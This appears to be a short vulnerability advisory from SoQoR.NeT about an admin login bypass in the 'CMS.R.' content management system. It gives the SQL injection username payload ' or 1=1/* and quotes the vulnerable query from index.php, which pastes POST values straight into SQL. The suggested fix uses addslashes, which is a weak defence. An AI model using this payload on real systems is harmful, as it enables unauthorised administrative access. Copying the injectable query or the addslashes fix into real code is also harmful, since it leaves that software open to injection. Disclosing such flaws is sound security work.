CMS.R. the Content Management System admin authentication baypass

[security@soqor.net]

Hello

Title : CMS.R. the Content Management System admin authentication baypass
Discovered by : HACKERS PAL
Copyrights : HACKERS PAL
Website : WwW.SoQoR.NeT
Email : security@soqor.net

The Vulnerability works 100% with magic_quotes_gpc = off

put the user name value (' or 1=1/*)



' or 1=1/*


and you will login :)

error file : index.php
line : 48

query :-


$query = "SELECT * From ".$config->get("TABLE_USER")." where BINARY username='".$_POST['adminname']."' AND BINARY pass='".$_POST['adminpass']."'";

solution:-

replace


$query = "SELECT * From ".$config->get("TABLE_USER")." where BINARY username='".$_POST['adminname']."' AND BINARY pass='".$_POST['adminpass']."'";


with


//
// Fixed By : HACKERS PAL
// WwW.SoQoR.NeT
//
$query = "SELECT * From ".$config->get("TABLE_USER")." where BINARY username='".addslashes($_POST['adminname'])."' AND BINARY pass='".addslashes($_POST['adminpass'])."'";


WwW.SoQoR.NeT